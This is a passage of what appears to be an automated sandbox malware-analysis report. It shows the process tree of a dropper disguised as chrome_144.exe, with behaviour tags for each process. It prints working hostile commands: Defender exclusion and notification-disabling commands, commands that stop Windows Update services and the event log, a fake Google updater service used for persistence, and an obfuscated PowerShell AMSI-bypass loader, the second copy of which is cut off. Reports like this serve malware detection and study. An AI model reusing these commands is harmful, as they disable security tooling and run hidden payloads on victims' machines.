                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender notification settings
                                              • System Location Discovery: System Language Discovery
                                              PID:5400
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3672
                                          • C:\Users\Admin\Ju15O\f5ik058\chrome_144.exe
                                            "C:\Users\Admin\Ju15O\f5ik058\chrome_144.exe"
                                            5⤵
                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                            • Drops file in Drivers directory
                                            • Checks BIOS information in registry
                                            • Executes dropped EXE
                                            • Checks whether UAC is enabled
                                            • Drops file in System32 directory
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • Suspicious use of SetThreadContext
                                            PID:3036
                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                              6⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:688
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                              6⤵
                                                PID:5444
                                                • C:\Windows\system32\wusa.exe
                                                  wusa /uninstall /kb:890830 /quiet /norestart
                                                  7⤵
                                                    PID:5324
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop UsoSvc
                                                  6⤵
                                                  • Launches sc.exe
                                                  PID:5968
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                  6⤵
                                                  • Launches sc.exe
                                                  PID:4436
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop wuauserv
                                                  6⤵
                                                  • Launches sc.exe
                                                  PID:5564
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop bits
                                                  6⤵
                                                  • Launches sc.exe
                                                  PID:396
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop dosvc
                                                  6⤵
                                                  • Launches sc.exe
                                                  PID:6104
                                                • C:\Windows\system32\powercfg.exe
                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                  6⤵
                                                  • Power Settings
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4496
                                                • C:\Windows\system32\powercfg.exe
                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                  6⤵
                                                  • Power Settings
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2068
                                                • C:\Windows\system32\powercfg.exe
                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                  6⤵
                                                  • Power Settings
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3360
                                                • C:\Windows\system32\powercfg.exe
                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                  6⤵
                                                  • Power Settings
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:6072
                                                • C:\Windows\system32\dialer.exe
                                                  C:\Windows\system32\dialer.exe
                                                  6⤵
                                                    PID:4504
                                                  • C:\Windows\system32\sc.exe
                                                    C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                                                    6⤵
                                                    • Launches sc.exe
                                                    PID:1096
                                                  • C:\Windows\system32\sc.exe
                                                    C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                                                    6⤵
                                                    • Launches sc.exe
                                                    PID:2116
                                                  • C:\Windows\system32\sc.exe
                                                    C:\Windows\system32\sc.exe stop eventlog
                                                    6⤵
                                                    • Launches sc.exe
                                                    PID:6024
                                                  • C:\Windows\system32\sc.exe
                                                    C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                                    6⤵
                                                    • Launches sc.exe
                                                    PID:6040
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                  5⤵
                                                    PID:4348
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                    5⤵
                                                      PID:4864
                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                              1⤵
                                                PID:5148
                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                1⤵
                                                  PID:544
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                  1⤵
                                                    PID:1440
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                    1⤵
                                                      PID:2084
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                      1⤵
                                                        PID:5136
                                                      • C:\ProgramData\Chrome146\Chrome145.exe
                                                        C:\ProgramData\Chrome146\Chrome145.exe
                                                        1⤵
                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                        • Checks BIOS information in registry
                                                        • Executes dropped EXE
                                                        • Checks whether UAC is enabled
                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                        • System Location Discovery: System Language Discovery
                                                        PID:4496
                                                      • C:\Windows\System32\rundll32.exe
                                                        C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} -Embedding
                                                        1⤵
                                                          PID:220
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                          1⤵
                                                          • Checks processor information in registry
                                                          • Enumerates system info in registry
                                                          • Modifies data under HKEY_USERS
                                                          • Modifies registry class
                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          • Suspicious use of FindShellTrayWindow
                                                          • Suspicious use of SendNotifyMessage
                                                          PID:6076
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff87dcac728,0x7ff87dcac734,0x7ff87dcac740
                                                            2⤵
                                                              PID:2472
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1692,i,15128574132192145663,17276658755909504814,262144 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2008 /prefetch:2
                                                              2⤵
                                                                PID:3652
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1588,i,6902924103477443011,1881349036336807583,524288 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2176 /prefetch:3
                                                                2⤵
                                                                • System Time Discovery
                                                                PID:4772
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2328,i,7763665826104131292,17271929729458690241,524288 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2888 /prefetch:8
                                                                2⤵
                                                                  PID:4484
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3232,i,1746790649671241768,12653350716982842798,2097152 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3244 /prefetch:1
                                                                  2⤵
                                                                    PID:5560
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3264,i,3655823017335693214,18240769693692675076,2097152 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3284 /prefetch:1
                                                                    2⤵
                                                                      PID:3256
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4200,i,16779006432630236712,5525200759916656982,2097152 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4416 /prefetch:2
                                                                      2⤵
                                                                        PID:4112
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4604,i,5027116939107480787,6818156203321868902,2097152 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4680 /prefetch:1
                                                                        2⤵
                                                                          PID:4804
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5532,i,13119883965864955420,8049428683240838360,524288 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5484 /prefetch:8
                                                                          2⤵
                                                                            PID:1036
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5868,i,9746295425503960882,6516974748298145469,524288 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=240 /prefetch:8
                                                                            2⤵
                                                                              PID:2124
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5872,i,5784955118205407368,15596352911199631942,524288 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5880 /prefetch:8
                                                                              2⤵
                                                                                PID:1440
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5876,i,13318828034410011322,6972297430206313549,524288 --field-trial-handle=2012,i,8298748985071261427,825560773476616748,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5828 /prefetch:8
                                                                                2⤵
                                                                                  PID:4148
                                                                              • C:\Windows\System32\rundll32.exe
                                                                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                1⤵
                                                                                  PID:400
                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                  1⤵
                                                                                    PID:5376
                                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                    1⤵
                                                                                      PID:5644
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                      1⤵
                                                                                        PID:5508
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FgTaZesQPlZH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NwDzTzqdesjNmu,[Parameter(Position=1)][Type]$bqEFEmJWtK)$jBRFnKhMjvD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+'m'+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'le',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+'e'+'l'+''+[Char](101)+''+'g'+'at'+'e'+''+'T'+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](101)+'al'+[Char](101)+''+[Char](100)+',A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+'ut'+'o'+''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$jBRFnKhMjvD.DefineConstructor('R'+[Char](84)+''+'S'+''+'p'+''+'e'+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$NwDzTzqdesjNmu).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+'a'+'n'+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$jBRFnKhMjvD.DefineMethod('I'+'n'+''+[Char](118)+'o'+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+','+'H'+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+'S'+''+[Char](108)+''+'o'+''+[Char](116)+''+','+'V'+[Char](105)+''+[Char](114)+''+'t'+'u'+[Char](97)+''+'l'+'',$bqEFEmJWtK,$NwDzTzqdesjNmu).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+'na'+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $jBRFnKhMjvD.CreateType();}$FCHzzFLJJpipx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+'e'+[Char](109)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+''+'f'+''+'t'+''+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+'a'+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'ho'+[Char](100)+''+'s'+'');$cWSJMoMNJFBRze=$FCHzzFLJJpipx.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+[Char](114)+'o'+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+'t'+'a'+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TXqvoAKJLmNkbuNotkR=FgTaZesQPlZH @([String])([IntPtr]);$yfeZBjhJNzCwKXacbqWmMm=FgTaZesQPlZH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gDfTNUosRhi=$FCHzzFLJJpipx.GetMethod(''+'G'+'e'+[Char](116)+'Mo'+[Char](100)+''+[Char](117)+'l'+'e'+''+'H'+''+'a'+''+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$XHFlrkcNRnBLnP=$cWSJMoMNJFBRze.Invoke($Null,@([Object]$gDfTNUosRhi,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+''+'L'+'ib'+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$ATFSOSVSBfsgpjXGO=$cWSJMoMNJFBRze.Invoke($Null,@([Object]$gDfTNUosRhi,[Object]('V'+'i'+''+'r'+''+'t'+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$vEXykHg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XHFlrkcNRnBLnP,$TXqvoAKJLmNkbuNotkR).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+[Char](108)+'l');$fxcsHnjXUhMybjrSN=$cWSJMoMNJFBRze.Invoke($Null,@([Object]$vEXykHg,[Object](''+[Char](65)+'ms'+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$ObDgPBSxiy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ATFSOSVSBfsgpjXGO,$yfeZBjhJNzCwKXacbqWmMm).Invoke($fxcsHnjXUhMybjrSN,[uint32]8,4,[ref]$ObDgPBSxiy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$fxcsHnjXUhMybjrSN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ATFSOSVSBfsgpjXGO,$yfeZBjhJNzCwKXacbqWmMm).Invoke($fxcsHnjXUhMybjrSN,[uint32]8,0x20,[ref]$ObDgPBSxiy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('di'+[Char](97)+''+[Char](108)+'e'+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                                                                                        1⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Modifies data under HKEY_USERS
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:3064
                                                                                      • C:\ProgramData\Google\Chrome\updater.exe
                                                                                        C:\ProgramData\Google\Chrome\updater.exe
                                                                                        1⤵
                                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                        • Checks BIOS information in registry
                                                                                        • Executes dropped EXE
                                                                                        • Checks whether UAC is enabled
                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                        PID:5288
                                                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                          2⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Modifies data under HKEY_USERS
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:6052
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                          2⤵
                                                                                            PID:5816
                                                                                            • C:\Windows\system32\wusa.exe
                                                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                                                              3⤵
                                                                                                PID:6028
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop UsoSvc
                                                                                              2⤵
                                                                                              • Launches sc.exe
                                                                                              PID:6112
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                              2⤵
                                                                                              • Launches sc.exe
                                                                                              PID:4908
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop wuauserv
                                                                                              2⤵
                                                                                              • Launches sc.exe
                                                                                              PID:2676
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop bits
                                                                                              2⤵
                                                                                              • Launches sc.exe
                                                                                              PID:1440
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              C:\Windows\system32\sc.exe stop dosvc
                                                                                              2⤵
                                                                                              • Launches sc.exe
                                                                                              PID:4584
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                              2⤵
                                                                                              • Power Settings
                                                                                              PID:1892
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                              2⤵
                                                                                              • Power Settings
                                                                                              PID:4216
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                              2⤵
                                                                                              • Power Settings
                                                                                              PID:2368
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                              2⤵
                                                                                              • Power Settings
                                                                                              PID:3804
                                                                                            • C:\Windows\system32\dialer.exe
                                                                                              C:\Windows\system32\dialer.exe
                                                                                              2⤵
                                                                                                PID:4984
                                                                                              • C:\Windows\system32\dialer.exe
                                                                                                C:\Windows\system32\dialer.exe
                                                                                                2⤵
                                                                                                  PID:5564
                                                                                                • C:\Windows\system32\dialer.exe
                                                                                                  dialer.exe
                                                                                                  2⤵
                                                                                                    PID:5368
                                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                  1⤵
                                                                                                    PID:5884
                                                                                                  • C:\Windows\System32\dllhost.exe
                                                                                                    C:\Windows\System32\dllhost.exe /Processid:{3402151e-9332-4422-a7ac-71820e2c55c0}
                                                                                                    1⤵
                                                                                                      PID:688
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:YHiiyNTGkgOo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mrsiueYgDausNT,[Parameter(Position=1)][Type]$DJJwCIemeh)$dmYQNIrkAes=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+'l'+'e'+'g'+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+'d'+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+'yD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e'+'T'+''+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+','+[Char](80)+'ubl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+'l'+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+'u'+''+'t'+''+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$dmYQNIrkAes.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+'i'+'a'+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$mrsiueYgDausNT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+'i'+'m'+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$dmYQNIrkAes.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+[Char](107)+'e',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+'Hi'+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+''+'i'+'g'+[Char](44)+''+'N'+''+'e'+''+[Char](119)+'S'+[Char](108)+''+'o'+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+'r'+'tu'+[Char](97)+''+[Char](108)+'',$DJJwCIemeh,$mrsiueYgDausNT).SetImplementationFlags('R'+'u'+'n'+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $dmYQNIrkAes.CreateType();}$kOIaFnEaudrNR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 